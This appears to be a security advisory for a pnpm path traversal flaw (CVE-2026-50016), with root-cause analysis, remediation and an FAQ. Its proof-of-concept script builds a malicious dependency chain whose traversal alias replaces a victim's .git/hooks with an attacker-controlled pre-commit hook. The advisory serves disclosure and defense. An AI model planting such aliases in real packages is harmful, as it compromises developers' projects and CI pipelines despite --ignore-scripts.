CVE-2026-50016: pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement

Published Jun 25, 2026
·
Updated

Summary

pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.

.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:

- .husky or .githooks for Git hook dispatchers - scripts/, tools/, bin/, or tests/ for project scripts and CI commands - .github/actions/<name> for local GitHub Actions used later in the workflow - dist/ or other publish/build output directories before pnpm pack or pnpm publish - nodemodules/.bin or undeclared nodemodules/<name> paths used by later command or module resolution

Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.

This was reproduced with pnpm@11.2.1.

Impact

Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.

Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.

Root Cause

pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination nodemodules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended nodemodules directory.

Conceptually, a transitive alias like this:

json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }

is eventually treated like:

text path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")

The normalized destination escapes the dependency's nodemodules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.

The dependency chain is:

text victim installs normal@1.0.0 normal@1.0.0 -> bad@1.0.0 bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias

The malicious transitive package metadata contains:

json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }

Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.

Proof Of Concept

Run:

sh ./run.sh

sh #!/bin/sh set -eu

SCRIPTDIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORKDIR="$SCRIPTDIR/demo-workdir" REGISTRYDIR="$WORKDIR/registry" TARBALLSDIR="$REGISTRYDIR/tarballs" VICTIMDIR="$WORKDIR/victim" READYFILE="$WORKDIR/registry-ready" PORTFILE="$WORKDIR/registry-port"

rm -rf "$WORKDIR" mkdir -p "$REGISTRYDIR/payload-hooks" "$REGISTRYDIR/bad" "$REGISTRYDIR/normal" "$TARBALLSDIR" "$VICTIMDIR"

cat > "$REGISTRYDIR/payload-hooks/package.json" <<'JSON' { "name": "payload-hooks", "version": "1.0.0", "bin": { "pre-commit": "pre-commit" }, "files": [ "pre-commit" ] } JSON

cat > "$REGISTRYDIR/payload-hooks/pre-commit" <<'EOF' #!/bin/sh echo PWNED >&2 exit 0 EOF chmod +x "$REGISTRYDIR/payload-hooks/pre-commit"

cat > "$REGISTRYDIR/bad/package.json" <<'JSON' { "name": "bad", "version": "1.0.0", "description": "transitive registry package", "dependencies": { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } } JSON

cat > "$REGISTRYDIR/normal/package.json" <<'JSON' { "name": "normal", "version": "1.0.0", "description": "normal looking package from a registry", "dependencies": { "bad": "1.0.0" } } JSON

(cd "$REGISTRYDIR/payload-hooks" && npm pack --pack-destination "$TARBALLSDIR" --silent >/dev/null) (cd "$REGISTRYDIR/bad" && npm pack --pack-destination "$TARBALLSDIR" --silent >/dev/null) (cd "$REGISTRYDIR/normal" && npm pack --pack-destination "$TARBALLSDIR" --silent >/dev/null)

node - "$REGISTRYDIR" "$READYFILE" "$PORTFILE" <<'NODE' & const http = require('node:http') const fs = require('node:fs') const path = require('node:path') const { execFileSync } = require('node:childprocess')

const [registryDir, readyFile, portFile] = process.argv.slice(2) const tarballsDir = path.join(registryDir, 'tarballs')

function shasum (filename) { return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)]) .toString() .trim() .split(/\s+/) .pop() }

function integrity (filename) { return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)]) .toString('base64') }

function packument (pkgName, req) { const filename = ${pkgName}-1.0.0.tgz const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8')) const origin = http://${req.headers.host} return { name: pkgName, 'dist-tags': { latest: '1.0.0', }, versions: { '1.0.0': { ...manifest, dist: { tarball: ${origin}/${pkgName}/-/${filename}, shasum: shasum(filename), integrity: integrity(filename), }, }, }, } }

const server = http.createServer((req, res) => { const pathname = new URL(req.url, 'http://local.invalid').pathname if (req.method !== 'GET') { res.writeHead(405) res.end('method not allowed') return } if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') { const pkgName = pathname.slice(1) res.writeHead(200, { 'content-type': 'application/json' }) res.end(JSON.stringify(packument(pkgName, req))) return } const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/) if (tarballMatch) { const file = path.join(tarballsDir, tarballMatch[2]) res.writeHead(200, { 'content-type': 'application/octet-stream' }) fs.createReadStream(file).pipe(res) return } res.writeHead(404) res.end('not found') })

server.listen(0, '127.0.0.1', () => { fs.writeFileSync(portFile, String(server.address().port)) fs.writeFileSync(readyFile, 'ready') }) NODE REGISTRYPID=$! trap 'kill "$REGISTRYPID" 2>/dev/null || true' EXIT INT TERM

WAITCOUNT=0 while [ ! -f "$READYFILE" ]; do WAITCOUNT=$((WAITCOUNT + 1)) if [ "$WAITCOUNT" -gt 100 ]; then echo "local registry did not start" >&2 exit 1 fi sleep 0.05 done REGISTRYPORT=$(cat "$PORTFILE")

cd "$VICTIMDIR" git init -q git config user.email demo@example.invalid git config user.name "Demo User"

cat > package.json <<'JSON' { "name": "victim", "version": "1.0.0" } JSON

cat > .npmrc <<EOF registry=http://127.0.0.1:$REGISTRYPORT/ EOF

printf 'pnpm: ' pnpm --version printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRYPORT" printf 'victim: %s\n\n' "$VICTIMDIR"

pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent

echo 'trigger commit' > change.txt git add change.txt

set +e COMMITSTDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null) COMMITSTATUS=$? set -e

printf '\ngit commit exit code: %s\n' "$COMMITSTATUS" printf 'git commit stderr:\n%s\n' "$COMMITSTDERR"

The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs normal@1.0.0 with --ignore-scripts, and then triggers git commit.

Requirements:

text pnpm npm node git openssl

Expected output:

text git commit exit code: 0 git commit stderr: PWNED

PWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.

Other sources

pnpm is a package manager. Prior to 10.34.0 and 11.4.0, pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install --ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories. This vulnerability is fixed in 10.34.0 and 11.4.0.

NVD

Affected Software

5 affected componentsFixes available
pnpm>10.34.0<11.4.0
npm/pnpm>=11.0.0<11.4.0
11.4.0
npm/pnpm<10.34.0
10.34.0
PNPM Pnpm Node.js<10.34.0
PNPM Pnpm Node.js>=11.0.0<11.4.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/pnpm to a version that resolves this vulnerability.

    Fixed in 11.4.0
  2. Upgrade

    Upgrade npm/pnpm to a version that resolves this vulnerability.

    Fixed in 10.34.0
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 10.34.0
  4. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 11.4.0
  5. Compensating control

    If users run pnpm install with --ignore-scripts, treat it as insufficient protection against this vulnerability; additionally restrict/contain what packages can be installed (e.g., only allow trusted registry packages and disable installation of untrusted dependency aliases) to prevent an attacker-controlled package from overwriting project paths via symlink replacement.

Event History

Jun 25, 2026
CVE Published
via MITRE·04:53 PM
Data Sourced
via MITRE·04:53 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software
Jun 26, 2026
Advisory Published
via GitHub·10:55 PM
Data Sourced
via GitHub·10:55 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-50016?

CVE-2026-50016 has a severity rating of high, specifically 8.8 on the CVSS scale.

2

How do I fix CVE-2026-50016?

To resolve CVE-2026-50016, you should upgrade pnpm to version 10.34.0 or later, or 11.4.0 or later.

3

What type of vulnerability is CVE-2026-50016?

CVE-2026-50016 is classified as a path traversal vulnerability.

4

What are the potential impacts of CVE-2026-50016?

The vulnerability can lead to project path overrides via symlink replacement, potentially allowing unauthorized access to sensitive files.

5

What version of pnpm is affected by CVE-2026-50016?

pnpm versions prior to 10.34.0 and 11.4.0 are affected by CVE-2026-50016.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203